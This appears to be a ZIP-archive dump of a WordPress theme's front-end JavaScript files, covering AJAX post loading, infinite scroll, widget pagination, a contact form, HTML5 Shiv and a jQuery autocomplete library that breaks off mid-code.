                                        $('#main.penci-main-sticky-sidebar, #sidebar.penci-sticky-sidebar').theiaStickySidebar({
                                            // settings
                                            additionalMarginTop: top_margin
                                        });
                                    } // if sticky

                                    $this_scroll.removeClass('loading-posts');
                                    $(document).trigger('penci_bf_check');

                                } else {
                                    $this_scroll.find(".ajax-more-text").text(mes);
                                    $this_scroll.find("i").remove();
                                    $this_scroll.removeClass('loading-posts');
                                    setTimeout(function () {
                                        $this_scroll.parent().remove();
                                    }, 1200);
                                }
                            },
                            error: function (jqXHR, textStatus, errorThrown) {
                                console.log(jqXHR + " :: " + textStatus + " :: " + errorThrown);
                            }

                        });
                    }
                }
            });
        });
    }

    bgajax_term_more_scroll();
    $(document).on('bgajax_loaded', function () {
        bgajax_term_more_scroll();
    });
});
PK     N\2Yn|	  |	    js/html5.jsnu [        /*
 HTML5 Shiv v3.7.0 | @afarkas @jdalton @jon_neal @rem | MIT/GPL2 Licensed
*/
(function(l,f){function m(){var a=e.elements;return"string"==typeof a?a.split(" "):a}function i(a){var b=n[a[o]];b||(b={},h++,a[o]=h,n[h]=b);return b}function p(a,b,c){b||(b=f);if(g)return b.createElement(a);c||(c=i(b));b=c.cache[a]?c.cache[a].cloneNode():r.test(a)?(c.cache[a]=c.createElem(a)).cloneNode():c.createElem(a);return b.canHaveChildren&&!s.test(a)?c.frag.appendChild(b):b}function t(a,b){if(!b.cache)b.cache={},b.createElem=a.createElement,b.createFrag=a.createDocumentFragment,b.frag=b.createFrag();
a.createElement=function(c){return!e.shivMethods?b.createElem(c):p(c,a,b)};a.createDocumentFragment=Function("h,f","return function(){var n=f.cloneNode(),c=n.createElement;h.shivMethods&&("+m().join().replace(/[\w\-]+/g,function(a){b.createElem(a);b.frag.createElement(a);return'c("'+a+'")'})+");return n}")(e,b.frag)}function q(a){a||(a=f);var b=i(a);if(e.shivCSS&&!j&&!b.hasCSS){var c,d=a;c=d.createElement("p");d=d.getElementsByTagName("head")[0]||d.documentElement;c.innerHTML="x<style>article,aside,dialog,figcaption,figure,footer,header,hgroup,main,nav,section{display:block}mark{background:#FF0;color:#000}template{display:none}</style>";
c=d.insertBefore(c.lastChild,d.firstChild);b.hasCSS=!!c}g||t(a,b);return a}var k=l.html5||{},s=/^<|^(?:button|map|select|textarea|object|iframe|option|optgroup)$/i,r=/^(?:a|b|code|div|fieldset|h1|h2|h3|h4|h5|h6|i|label|li|ol|p|q|span|strong|style|table|tbody|td|th|tr|ul)$/i,j,o="_html5shiv",h=0,n={},g;(function(){try{var a=f.createElement("a");a.innerHTML="<xyz></xyz>";j="hidden"in a;var b;if(!(b=1==a.childNodes.length)){f.createElement("a");var c=f.createDocumentFragment();b="undefined"==typeof c.cloneNode||
"undefined"==typeof c.createDocumentFragment||"undefined"==typeof c.createElement}g=b}catch(d){g=j=!0}})();var e={elements:k.elements||"abbr article aside audio bdi canvas data datalist details dialog figcaption figure footer header hgroup main mark meter nav output progress section summary template time video",version:"3.7.0",shivCSS:!1!==k.shivCSS,supportsUnknownElements:g,shivMethods:!1!==k.shivMethods,type:"default",shivDocument:q,createElement:p,createDocumentFragment:function(a,b){a||(a=f);
if(g)return a.createDocumentFragment();for(var b=b||i(a),c=b.frag.cloneNode(),d=0,e=m(),h=e.length;d<h;d++)c.createElement(e[d]);return c}};l.html5=e;q(f)})(this,document);PK     N\XI!  I!    js/ajax-more-slist.jsnu [        jQuery(document).ready(function ($) {
    function penciGetsListData() {
        jQuery('body').on('click', '.penci-slajax-more-click .penci-ajax-more-button', function (event) {
            event.preventDefault();
            if (!$(this).hasClass('loading-posts')) {
                var $this = $(this),
                    wrapId = $this.data('id'),
                    parentclass = $(this).closest('.pcnav-lgroup'),
                    wrapper = $(this).closest('.penci-smalllist').find('.pcsl-inner'),
                    tag = $this.data('tag'),
                    cat = $this.data('cat'),
                    ppp = parentclass.data('ppp'),
                    maxitem = $this.data('max'),
                    author = $this.data('author'),
                    mes = $this.data('mes'),
                    type = $this.data('query_type'),
                    pagednum = parseInt($this.attr('data-pagednum')),
                    archivetype = $this.data('archivetype'),
                    archivevalue = $this.data('archivevalue'),
                    curpaged = pagednum;

                var OBjBlockData = penciGetOBjBlockData($this.data('blockid')),
                    dataFilter = OBjBlockData.atts_json ? JSON.parse(OBjBlockData.atts_json) : OBjBlockData.atts_json;

                $this.addClass('loading-posts');

                var data = {
                    action: 'penci_more_slist_post_ajax',
                    datafilter: dataFilter,
                    id: wrapId,
                    tag: tag,
                    cat: cat,
                    type: type,
                    author: author,
                    pagednum: pagednum,
                    checkmore: true,
                    archivetype: archivetype,
                    archivevalue: archivevalue,
                    nonce: penci_slajax.nonce,
                };

                $.ajax({
                    type: "POST",
                    dataType: "html",
                    url: ajax_var_more.url,
                    data: data,
                    success: function (data) {
                        if (data) {

                            var data_paded = curpaged;

                            if (data_paded <= 1) {
                                parentclass.find('.pc-ajaxfil-link.prev').addClass('disable');
                            } else {
                                parentclass.find('.pc-ajaxfil-link.prev').removeClass('disable');
                            }

                            if (data_paded * ppp >= maxitem) {
                                parentclass.find('.pc-ajaxfil-link.next').addClass('disable');
                            } else {
                                parentclass.find('.pc-ajaxfil-link.next').removeClass('disable');
                            }

                            $this.attr('data-pagednum', curpaged + 1);

                            wrapper.append(data);

                            $(".penci-wrapper-smalllist").fitVids();

                            $('body').trigger( 'penci_swiper_sliders' );

                            if ($().easyPieChart) {
                                $('.penci-piechart').each(function () {
                                    var $this = $(this);
                                    $this.one('inview', function (event, isInView, visiblePartX, visiblePartY) {
                                        var chart_args = {
                                            barColor: $this.data('color'),
                                            trackColor: $this.data('trackcolor'),
                                            scaleColor: false,
                                            lineWidth: $this.data('thickness'),
                                            size: $this.data('size'),
                                            animate: 1000
                                        };
                                        $this.easyPieChart(chart_args);
                                    }); // bind inview
                                }); // each
                            }

                            var $justified_gallery = $('.penci-post-gallery-container.justified');
                            var $masonry_gallery = $('.penci-post-gallery-container.masonry');
                            if ($().justifiedGallery && $justified_gallery.length) {
                                $('.penci-post-gallery-container.justified').each(function () {
                                    var $this = $(this);
                                    $this.justifiedGallery({
                                        rowHeight: $this.data('height'),
                                        lastRow: 'nojustify',
                                        margins: $this.data('margin'),
                                        randomize: false
                                    });
                                }); // each .penci-post-gallery-container
                            }

                            if ($().isotope && $masonry_gallery.length) {

                                $('.penci-post-gallery-container.masonry .item-gallery-masonry').each(function () {
                                    var $this = $(this);
                                    if ($this.attr('title')) {
                                        var $title = $this.attr('title');
                                        $this.children().append('<div class="caption">' + $title + '</div>');
                                    }
                                });
                            }

                            if ($masonry_gallery.length) {
                                $masonry_gallery.each(function () {
                                    var $this = $(this);
                                    $this.imagesLoaded(function () {
                                        // initialize isotope
                                        $this.isotope({
                                            itemSelector: '.item-gallery-masonry',
                                            transitionDuration: '.55s',
                                            layoutMode: 'masonry'
                                        });

                                        $this.addClass('loaded');

                                        $('.penci-post-gallery-container.masonry .item-gallery-masonry').each(function () {
                                            var $this = $(this);
                                            $this.one('inview', function (event, isInView, visiblePartX, visiblePartY) {
                                                $this.addClass('animated');
                                            }); // inview
                                        }); // each
                                    });
                                });
                            }

                            if ($().theiaStickySidebar) {
                                var top_margin = 90;
                                if ($('body').hasClass('admin-bar')) {
                                    top_margin = 122;
                                }
                                $('#main.penci-main-sticky-sidebar, #sidebar.penci-sticky-sidebar').theiaStickySidebar({
                                    // settings
                                    additionalMarginTop: top_margin
                                });
                            } // if sticky
                            $this.removeClass('loading-posts');
                            $(document).trigger('penci_bf_check');
                        } else {
                            $this.find(".ajax-more-text").text(mes);
                            $this.find("i").remove();
                            $this.removeClass('loading-posts');
                            setTimeout(function () {
                                $this.parent().remove();
                            }, 1200);
                        }
                    }
                });
            }
        });
    }

    function penciGetOBjBlockData($blockID) {
        var $obj = new penciBlock();

        jQuery.each(penciBlocksArray, function (index, block) {

            if (block.blockID === $blockID) {
                $obj = penciBlocksArray[index];
            }
        });

        return $obj;
    }

    penciGetsListData();

    $('body').on('penci-small-list-loaded', function () {
        penciGetsListData();
    });
});
PK     N\*M-a      js/widgets-ajax.jsnu [        (function ($) {
    "use strict";
    var PENCI = PENCI || {};
    PENCI.ajaxwidgets = function () {
        $(document).on('click', '.widget .penci-wgajx-btn', function (e) {
            e.preventDefault();
            var t = $(this),
                wrapper = t.closest('.widget').find('ul'),
                navwrapper = t.closest('.penci-pagination'),
                settings = wrapper.attr('data-settings'),
                mes = wrapper.attr('data-mes'),
                action = wrapper.data('action'),
                id = parseInt(wrapper.data('id')),
                max = parseInt(wrapper.data('max')),
                nav = t.hasClass('pcajx-btn'),
                paged = parseInt(wrapper.attr('data-paged')),
                type = wrapper.attr('data-type'),
                get_paged = paged + 1;

            if (t.hasClass('disable')) {
                return;
            }

            if (t.hasClass('pc-tabsajax-btn')) {
                wrapper = t.closest('.tab-content-wrapper').find('ul');
                settings = wrapper.attr('data-settings');
                type = wrapper.attr('data-type');
                mes = wrapper.attr('data-mes');
                paged = parseInt(wrapper.attr('data-paged'));
                max = parseInt(wrapper.data('max'));
                action = wrapper.data('action');
                get_paged = paged + 1;
            }

            if (nav && t.hasClass('prev')) {
                get_paged = paged - 1;
            }

            t.addClass('loading-posts');
            wrapper.closest(".widget").addClass('ajx-loading');

            $.ajax({
                type: "POST",
                dataType: "html",
                url: penci_widgets_ajax.url,
                data: {
                    action: action,
                    settings: settings,
                    id: id ? id : '',
                    type: type ? type : '',
                    paged: get_paged,
                    nonce: penci_widgets_ajax.nonce,
                },
                success: function (data) {

                    if (data) {

                        if (nav && get_paged >= max) {
                            navwrapper.find('.pcajx-btn.next').addClass('disable');
                        } else {
                            navwrapper.find('.pcajx-btn.next').removeClass('disable');
                        }

                        if (nav && get_paged > 1) {
                            navwrapper.find('.pcajx-btn.prev').removeClass('disable');
                        } else {
                            navwrapper.find('.pcajx-btn.prev').addClass('disable');
                        }

                        var datajs = $(data);

                        if (nav) {
                            wrapper.empty();
                        }

                        wrapper.append(datajs.html());

                        wrapper.attr('data-paged', get_paged);

                    } else {

                        t.find(".ajax-more-text").text(mes);
                        t.find("i").remove();
                        setTimeout(function () {
                            t.closest('.penci-pagination').remove();
                        }, 1200);
                    }
                    t.removeClass('loading-posts');
                    wrapper.closest(".widget").removeClass('ajx-loading');
                }
            });
        });
    };

    $(document).ready(function () {
        PENCI.ajaxwidgets();
    });
})(jQuery);PK     N\6.1  .1    js/more-post-scroll.jsnu [        jQuery(document).ready(function ($) {
    if (!$('.penci-ajax-more-scroll .penci-ajax-more-button').length) {
        return;
    }

    var pc_ajax_more_scrll = function () {

        $('.penci-ajax-more-scroll .penci-ajax-more-button').each(function () {
            var $this_scroll = $(this);
            $(window).on('scroll', $this_scroll, function () {
                var hT = $this_scroll.offset().top,
                    hH = $this_scroll.outerHeight(),
                    wH = $(window).height(),
                    wS = $(this).scrollTop();

                if ((wS > (hT + hH - wH)) && $this_scroll.length) {
                    if (!$this_scroll.hasClass('loading-posts')) {
                        var layout = $this_scroll.data('layout'),
                            ppp = $this_scroll.data('number'),
                            mes = $this_scroll.data('mes'),
                            offset = $this_scroll.attr('data-offset'),
                            exclude = $this_scroll.data('exclude'),
                            from = $this_scroll.data('from'),
                            comeFrom = $this_scroll.data('come_from'),
                            mixed = $this_scroll.data('mixed'),
                            query = $this_scroll.data('query'),
                            infeedads = $this_scroll.data('infeedads'),
                            number = $this_scroll.data('number'),
                            query_type = $this_scroll.data('query_type'),
                            archivetype = $this_scroll.data('archivetype'),
                            archivevalue = $this_scroll.data('archivevalue'),
                            archiveorder = $this_scroll.data('order'),
                            tag = $this_scroll.data('tag'),
                            cat = $this_scroll.data('cat'),
                            author = $this_scroll.data('author'),
                            template = $this_scroll.data('template');

                        $this_scroll.addClass('loading-posts');

                        var OBjBlockData = penciGetOBjBlockData($this_scroll.attr('data-blockuid')),
                            dataFilter = OBjBlockData.atts_json ? JSON.parse(OBjBlockData.atts_json) : OBjBlockData.atts_json;

                        var data = {
                            action: 'penci_more_post_ajax',
                            query: query,
                            offset: offset,
                            mixed: mixed,
                            layout: layout,
                            exclude: exclude,
                            from: from,
                            comefrom: comeFrom,
                            datafilter: dataFilter,
                            template: template,
                            infeedads: infeedads,
                            ppp: ppp,
                            tag: tag,
                            author: author,
                            cat: cat,
                            number: number,
                            query_type: query_type,
                            archivetype: archivetype,
                            archivevalue: archivevalue,
                            order: archiveorder,
                            nonce: pajax_mscroll.nonce,
                        };


                        $.ajax({
                            type: "POST",
                            dataType: "html",
                            url: ajax_var_more.url,
                            data: data,
                            success: function (data) {
                                if (data) {
                                    var data_offset = parseInt(offset) + ppp,
                                        $wrap_content = $this_scroll.parent().parent().find('.penci-wrapper-data');

                                    $this_scroll.attr('data-offset', data_offset);
                                    if (layout === 'masonry' || layout === 'masonry-2') {
                                        var $data = $(data);
                                        $wrap_content.append($data).isotope('appended', $data).imagesLoaded(function () {
                                            $wrap_content.isotope('layout');
                                        });

                                        $(".container").fitVids();

                                        if ($().easyPieChart) {
                                            $('.penci-piechart').each(function () {
                                                var $this = $(this);
                                                $this.one('inview', function (event, isInView, visiblePartX, visiblePartY) {
                                                    var chart_args = {
                                                        barColor: $this.data('color'),
                                                        trackColor: $this.data('trackcolor'),
                                                        scaleColor: false,
                                                        lineWidth: $this.data('thickness'),
                                                        size: $this.data('size'),
                                                        animate: 1000
                                                    };
                                                    $this.easyPieChart(chart_args);
                                                }); // bind inview
                                            }); // each
                                        }

                                    } else {
                                        var $data = $(data);
                                        $wrap_content.append($data);

                                        $(".container").fitVids();

                                        if ($().easyPieChart) {
                                            $('.penci-piechart').each(function () {
                                                var $this = $(this);
                                                $this.one('inview', function (event, isInView, visiblePartX, visiblePartY) {
                                                    var chart_args = {
                                                        barColor: $this.data('color'),
                                                        trackColor: $this.data('trackcolor'),
                                                        scaleColor: false,
                                                        lineWidth: $this.data('thickness'),
                                                        size: $this.data('size'),
                                                        animate: 1000
                                                    };
                                                    $this.easyPieChart(chart_args);
                                                }); // bind inview
                                            }); // each
                                        }

                                        var $justified_gallery = $('.penci-post-gallery-container.justified');
                                        var $masonry_gallery = $('.penci-post-gallery-container.masonry');
                                        if ($().justifiedGallery && $justified_gallery.length) {
                                            $('.penci-post-gallery-container.justified').each(function () {
                                                var $this = $(this);
                                                $this.justifiedGallery({
                                                    rowHeight: $this.data('height'),
                                                    lastRow: 'nojustify',
                                                    margins: $this.data('margin'),
                                                    randomize: false
                                                });
                                            }); // each .penci-post-gallery-container
                                        }

                                        if ($().isotope && $masonry_gallery.length) {

                                            $('.penci-post-gallery-container.masonry .item-gallery-masonry').each(function () {
                                                var $this = $(this);
                                                if ($this.attr('title')) {
                                                    var $title = $this.attr('title');
                                                    $this.children().append('<div class="caption">' + $title + '</div>');
                                                }
                                            });
                                        }

                                        if ($masonry_gallery.length) {
                                            $masonry_gallery.each(function () {
                                                var $this = $(this);
                                                $this.imagesLoaded(function () {
                                                    // initialize isotope
                                                    $this.isotope({
                                                        itemSelector: '.item-gallery-masonry',
                                                        transitionDuration: '.55s',
                                                        layoutMode: 'masonry'
                                                    });

                                                    $this.addClass('loaded');

                                                    $('.penci-post-gallery-container.masonry .item-gallery-masonry').each(function () {
                                                        var $this = $(this);
                                                        $this.one('inview', function (event, isInView, visiblePartX, visiblePartY) {
                                                            $this.addClass('animated');
                                                        }); // inview
                                                    }); // each
                                                });
                                            });
                                        }

                                        if ($().theiaStickySidebar) {
                                            var top_margin = 90;
                                            if ($('body').hasClass('admin-bar')) {
                                                top_margin = 122;
                                            }
                                            $('#main.penci-main-sticky-sidebar, #sidebar.penci-sticky-sidebar').theiaStickySidebar({
                                                // settings
                                                additionalMarginTop: top_margin
                                            });
                                        } // if sticky
                                    }

                                    $('body').trigger( 'penci_swiper_sliders' );
                                    $this_scroll.removeClass('loading-posts');
                                    $(document).trigger('penci_bf_check');

                                } else {
                                    $this_scroll.find(".ajax-more-text").text(mes);
                                    $this_scroll.find("i").remove();
                                    $this_scroll.removeClass('loading-posts');
                                    setTimeout(function () {
                                        $this_scroll.parent().remove();
                                    }, 1200);
                                }
                            },
                            error: function (jqXHR, textStatus, errorThrown) {
                                console.log(jqXHR + " :: " + textStatus + " :: " + errorThrown);
                            }

                        });
                    }
                }
            });
        });
    }

    pc_ajax_more_scrll();

    $(document).on('pcajax_loaded', function () {
        pc_ajax_more_scrll();
    });

    function penciGetOBjBlockData($blockID) {
        var $obj = new penciBlock();

        jQuery.each(penciBlocksArray, function (index, block) {

            if (block.blockID === $blockID) {
                $obj = penciBlocksArray[index];
            }
        });

        return $obj;
    }
});
PK     N\I$āY
  Y
    js/contact-form.jsnu [        /**
 * Start contact form widget script
 */

(function ($, elementor) {

    'use strict';

    var PenciContactForm = function ($scope, $) {

        var $contactForm = $scope.find('.pencif-contact-form .without-recaptcha');

        if (!$contactForm.length) {
            return;
        }

        $contactForm.submit(function (e) {
            sendContactForm($contactForm);
            return false;
        });

        return false;

    };

    function sendContactForm($contactForm) {

        $.ajax({
            url: $contactForm.attr('action'),
            type: 'POST',
            data: $contactForm.serialize(),
            beforeSend: function () {
                $contactForm.addClass('loading');
            },
            success: function (data) {
                var redirectURL = $(data).data('redirect'),
                    isExternal = $(data).data('external'),
                    resetStatus = $(data).data('resetstatus');

                
                    $contactForm.append(data);

               
                if (redirectURL) {
                    if (redirectURL != 'no') {
                        window.open(redirectURL, isExternal);
                    }
                }

                if (resetStatus) {
                    if (resetStatus !== 'no') {
                        $contactForm[0].reset();
                    }
                }

                $contactForm.removeClass('loading');
            }
        });
        return false;
    }

    // google invisible captcha
    function PenciCFormCheckGIC() {

        return new Promise(function (resolve, reject) {

            if (grecaptcha === undefined) {
                reject();
            }

            var response = grecaptcha.getResponse();

            if (!response) {
                reject();
            }

            var $contactForm = $('.g-recaptcha-response').filter(function () {
                return $(this).val() === response;
            }).closest('form.pencif-contact-form');

            var contactFormAction = $contactForm.attr('action');

            if (contactFormAction && contactFormAction !== '') {
                sendContactForm($contactForm);
            }

            grecaptcha.reset();

        }); //end promise

    }

    //Contact form recaptcha callback, if needed
    window.PenciCFormCheckGICF = PenciCFormCheckGIC;

    jQuery(window).on('elementor/frontend/init', function () {
        elementorFrontend.hooks.addAction('frontend/element_ready/penci-contact-form.default', PenciContactForm);
    });


}(jQuery, window.elementorFrontend));

/**
 * End contact form widget script
 */PK     N\ǽL&  &    js/more-post.jsnu [        /* global penciBlock */
/* global penciBlocksArray */
jQuery(document).ready(function ($) {
    var offset;
    jQuery('body').on('click', '.penci-ajax-more-click .penci-ajax-more-button', function (event) {
        event.preventDefault();
        if (!$(this).hasClass('loading-posts')) {
            var $this = $(this),
                layout = $this.data('layout'),
                ppp = $this.data('number'),
                mes = $this.data('mes'),
                offset = $(this).attr('data-offset'),
                exclude = $this.data('exclude'),
                from = $this.data('from'),
                comeFrom = $this.data('come_from'),
                mixed = $this.data('mixed'),
                query = $this.data('query'),
                infeedads = $this.data('infeedads'),
                number = $this.data('number'),
                query_type = $this.data('query_type'),
                archivetype = $this.data('archivetype'),
                archivevalue = $this.data('archivevalue'),
                archiveorder = $this.data('order'),
                tag = $this.data('tag'),
                cat = $this.data('cat'),
                author = $this.data('author'),
                template = $this.data('template');

            $this.addClass('loading-posts');

            var OBjBlockData = penciGetOBjBlockData($this.attr('data-blockuid')),
                dataFilter = OBjBlockData.atts_json ? JSON.parse(OBjBlockData.atts_json) : OBjBlockData.atts_json;

            var data = {
                action: 'penci_more_post_ajax',
                query: query,
                offset: offset,
                mixed: mixed,
                layout: layout,
                exclude: exclude,
                from: from,
                comefrom: comeFrom,
                datafilter: dataFilter,
                template: template,
                ppp: ppp,
                tag: tag,
                author: author,
                cat: cat,
                number: number,
                infeedads: infeedads,
                query_type: query_type,
                archivetype: archivetype,
                archivevalue: archivevalue,
                order: archiveorder,
                nonce: penci_ajax_more_posts.nonce,
            };


            $.ajax({
                type: "POST",
                dataType: "html",
                url: ajax_var_more.url,
                data: data,
                success: function (data) {
                    if (data) {
                        var data_offset = parseInt(offset) + ppp,
                            $wrap_content = $this.parent().parent().find('.penci-wrapper-data');

                        $this.attr('data-offset', data_offset);
                        if (layout === 'masonry' || layout === 'masonry-2') {
                            var $data = $(data);
                            $wrap_content.append($data).isotope('appended', $data).imagesLoaded(function () {
                                $wrap_content.isotope('layout');
                            });

                            $(".container").fitVids();

                            if ($().easyPieChart) {
                                $('.penci-piechart').each(function () {
                                    var $this = $(this);
                                    $this.one('inview', function (event, isInView, visiblePartX, visiblePartY) {
                                        var chart_args = {
                                            barColor: $this.data('color'),
                                            trackColor: $this.data('trackcolor'),
                                            scaleColor: false,
                                            lineWidth: $this.data('thickness'),
                                            size: $this.data('size'),
                                            animate: 1000
                                        };
                                        $this.easyPieChart(chart_args);
                                    }); // bind inview
                                }); // each
                            }

                            //lazySizes.init();

                        } else {
                            var $data = $(data);
                            $wrap_content.append($data);

                            //lazySizes.init();

                            $(".container").fitVids();

                            if ($().easyPieChart) {
                                $('.penci-piechart').each(function () {
                                    var $this = $(this);
                                    $this.one('inview', function (event, isInView, visiblePartX, visiblePartY) {
                                        var chart_args = {
                                            barColor: $this.data('color'),
                                            trackColor: $this.data('trackcolor'),
                                            scaleColor: false,
                                            lineWidth: $this.data('thickness'),
                                            size: $this.data('size'),
                                            animate: 1000
                                        };
                                        $this.easyPieChart(chart_args);
                                    }); // bind inview
                                }); // each
                            }

                            var $justified_gallery = $('.penci-post-gallery-container.justified');
                            var $masonry_gallery = $('.penci-post-gallery-container.masonry');
                            if ($().justifiedGallery && $justified_gallery.length) {
                                $('.penci-post-gallery-container.justified').each(function () {
                                    var $this = $(this);
                                    $this.justifiedGallery({
                                        rowHeight: $this.data('height'),
                                        lastRow: 'nojustify',
                                        margins: $this.data('margin'),
                                        randomize: false
                                    });
                                }); // each .penci-post-gallery-container
                            }

                            if ($().isotope && $masonry_gallery.length) {

                                $('.penci-post-gallery-container.masonry .item-gallery-masonry').each(function () {
                                    var $this = $(this);
                                    if ($this.attr('title')) {
                                        var $title = $this.attr('title');
                                        $this.children().append('<div class="caption">' + $title + '</div>');
                                    }
                                });
                            }

                            if ($masonry_gallery.length) {
                                $masonry_gallery.each(function () {
                                    var $this = $(this);
                                    $this.imagesLoaded(function () {
                                        // initialize isotope
                                        $this.isotope({
                                            itemSelector: '.item-gallery-masonry',
                                            transitionDuration: '.55s',
                                            layoutMode: 'masonry'
                                        });

                                        $this.addClass('loaded');

                                        $('.penci-post-gallery-container.masonry .item-gallery-masonry').each(function () {
                                            var $this = $(this);
                                            $this.one('inview', function (event, isInView, visiblePartX, visiblePartY) {
                                                $this.addClass('animated');
                                            }); // inview
                                        }); // each
                                    });
                                });
                            }

                            if ($().theiaStickySidebar) {
                                var top_margin = 90;
                                if ($('body').hasClass('admin-bar')) {
                                    top_margin = 122;
                                }
                                $('#main.penci-main-sticky-sidebar, #sidebar.penci-sticky-sidebar').theiaStickySidebar({
                                    // settings
                                    additionalMarginTop: top_margin
                                });
                            } // if sticky
                        }

                        $this.removeClass('loading-posts');
                        $('body').trigger( 'penci_swiper_sliders' );
                        $(document).trigger('penci_bf_check');

                    } else {
                        $this.find(".ajax-more-text").text(mes);
                        $this.find("i").remove();
                        $this.removeClass('loading-posts');
                        setTimeout(function () {
                            $this.parent().remove();
                        }, 1200);
                    }
                },
                error: function (jqXHR, textStatus, errorThrown) {
                    console.log(jqXHR + " :: " + textStatus + " :: " + errorThrown);
                }

            });
        }
    });

    function penciGetOBjBlockData($blockID) {
        var $obj = new penciBlock();

        jQuery.each(penciBlocksArray, function (index, block) {

            if (block.blockID === $blockID) {
                $obj = penciBlocksArray[index];
            }
        });

        return $obj;
    };
});
PK     N\q-4  4    js/jquery.autocomplete.min.jsnu [        /**
*  Ajax Autocomplete for jQuery, version 1.4.11
*  (c) 2017 Tomas Kirda
*
*  Ajax Autocomplete for jQuery is freely distributable under the terms of an MIT-style license.
*  For details, see the web site: https://github.com/devbridge/jQuery-Autocomplete
*/
!function(t){"use strict";"function"==typeof define&&define.amd?define(["jquery"],t):"object"==typeof exports&&"function"==typeof require?t(require("jquery")):t(jQuery)}(function(t){"use strict";var e={escapeRegExChars:function(t){return t.replace(/[|\\{}()[\]^$+*?.]/g,"\\$&")},createNode:function(t){var e=document.createElement("div");return e.className=t,e.style.position="absolute",e.style.display="none",e}},s=27,i=9,n=13,o=38,a=39,u=40,l=t.noop;function r(e,s){this.element=e,this.el=t(e),this.suggestions=[],this.badQueries=[],this.selectedIndex=-1,this.currentValue=this.element.value,this.timeoutId=null,this.cachedResponse={},this.onChangeTimeout=null,this.onChange=null,this.isLocal=!1,this.suggestionsContainer=null,this.noSuggestionsContainer=null,this.options=t.extend(!0,{},r.defaults,s),this.classes={selected:"autocomplete-selected",suggestion:"autocomplete-suggestion"},this.hint=null,this.hintValue="",this.selection=null,this.initialize(),this.setOptions(s)}r.utils=e,t.Autocomplete=r,r.defaults={ajaxSettings:{},autoSelectFirst:!1,appendTo:"body",serviceUrl:null,lookup:null,onSelect:null,onHint:null,width:"auto",minChars:1,maxHeight:300,deferRequestBy:0,params:{},formatResult:function(t,s){if(!s)return t.value;var i="("+e.escapeRegExChars(s)+")";return t.value.replace(new RegExp(i,"gi"),"<strong>$1</strong>").replace(/&/g,"&amp;").replace(/</g,"&lt;").replace(/>/g,"&gt;").replace(/"/g,"&quot;").replace(/&lt;(\/?strong)&gt;/g,"<$1>")},formatGroup:function(t,e){return'<div class="autocomplete-group">'+e+"</div>"},delimiter:null,zIndex:9999,type:"GET",noCache:!1,onSearchStart:l,onSearchComplete:l,onSearchError:l,preserveInput:!1,containerClass:"autocomplete-suggestions",tabDisabled:!1,dataType:"text",currentRequest:null,triggerSelectOnValidInput:!0,preventBadQueries:!0,lookupFilter:function(t,e,s){return-1!==t.value.toLowerCase().indexOf(s)},paramName:"query",transformResult:function(e){return"string"==typeof e?t.parseJSON(e):e},showNoSuggestionNotice:!1,noSuggestionNotice:"No results",orientation:"bottom",forceFixPosition:!1},r.prototype={initialize:function(){var e,s=this,i="."+s.classes.suggestion,n=s.classes.selected,o=s.options;s.element.setAttribute("autocomplete","off"),s.noSuggestionsContainer=t('<div class="autocomplete-no-suggestion"></div>').html(this.options.noSuggestionNotice).get(0),s.suggestionsContainer=r.utils.createNode(o.containerClass),(e=t(s.suggestionsContainer)).appendTo(o.appendTo||"body"),"auto"!==o.width&&e.css("width",o.width),e.on("mouseover.autocomplete",i,function(){s.activate(t(this).data("index"))}),e.on("mouseout.autocomplete",function(){s.selectedIndex=-1,e.children("."+n).removeClass(n)}),e.on("click.autocomplete",i,function(){s.select(t(this).data("index"))}),e.on("click.autocomplete",function(){clearTimeout(s.blurTimeoutId)}),s.fixPositionCapture=function(){s.visible&&s.fixPosition()},t(window).on("resize.autocomplete",s.fixPositionCapture),s.el.on("keydown.autocomplete",function(t){s.onKeyPress(t)}),s.el.on("keyup.autocomplete",function(t){s.onKeyUp(t)}),s.el.on("blur.autocomplete",function(){s.onBlur()}),s.el.on("focus.autocomplete",function(){s.onFocus()}),s.el.on("change.autocomplete",function(t){s.onKeyUp(t)}),s.el.on("input.autocomplete",function(t){s.onKeyUp(t)})},onFocus:function(){this.disabled||(this.fixPosition(),this.el.val().length>=this.options.minChars&&this.onValueChange())},onBlur:function(){var e=this,s=e.options,i=e.el.val(),n=e.getQuery(i);e.blurTimeoutId=setTimeout(function(){e.hide(),e.selection&&e.currentValue!==n&&(s.onInvalidateSelection||t.noop).call(e.element)},200)},abortAjax:function(){this.currentRequest&&(this.currentRequest.abort(),this.currentRequest=null)},setOptions:function(e){var s=t.extend({},this.options,e);this.isLocal=Array.isArray(s.lookup),this.isLocal&&(s.lookup=this.verifySuggestionsFormat(s.lookup)),s.orientation=this.validateOrientation(s.orientation,"bottom"),t(this.suggestionsContainer).css({"max-height":s.maxHeight+"px",width:s.width+"px","z-index":s.zIndex}),this.options=s},clearCache:function(){this.cachedResponse={},this.badQueries=[]},clear:function(){this.clearCache(),this.currentValue="",this.suggestions=[]},disable:function(){this.disabled=!0,clearTimeout(this.onChangeTimeout),this.abortAjax()},enable:function(){this.disabled=!1},fixPosition:function(){var e=t(this.suggestionsContainer),s=e.parent().get(0);if(s===document.body||this.options.forceFixPosition){var i=this.options.orientation,n=e.outerHeight(),o=this.el.outerHeight(),a=this.el.offset(),u={top:a.top,left:a.left};if("auto"===i){var l=t(window).height(),r=t(window).scrollTop(),h=-r+a.top-n,c=r+l-(a.top+o+n);i=Math.max(h,c)===h?"top":"bottom"}if(u.top+="top"===i?-n:o,s!==document.body){var g,d=e.css("opacity");this.visible||e.css("opacity",0).show(),g=e.offsetParent().offset(),u.top-=g.top,u.top+=s.scrollTop,u.left-=g.left,this.visible||e.css("opacity",d).hide()}"auto"===this.options.width&&(u.width=this.el.outerWidth()+"px"),e.css(u)}},isCursorAtEnd:function(){var t,e=this.el.val().length,s=this.element.selectionStart;return"number"==typeof s?s===e:!document.selection||((t=document.selection.createRange()).moveStart("character",-e),e===t.text.length)},onKeyPress:function(t){if(this.disabled||this.visible||t.which!==u||!this.currentValue){if(!this.disabled&&this.visible){switch(t.which){case s:this.el.val(this.currentValue),this.hide();break;case a:if(this.hint&&this.options.onHint&&this.isCursorAtEnd()){this.selectHint();break}return;case i:if(this.hint&&this.options.onHint)return void this.selectHint();if(-1===this.selectedIndex)return void this.hide();if(this.select(this.selectedIndex),!1===this.options.tabDisabled)return;break;case n:if(-1===this.selectedIndex)return void this.hide();this.select(this.selectedIndex);break;case o:this.moveUp();break;case u:this.moveDown();break;default:return}t.stopImmediatePropagation(),t.preventDefault()}}else this.suggest()},onKeyUp:function(t){var e=this;if(!e.disabled){switch(t.which){case o:case 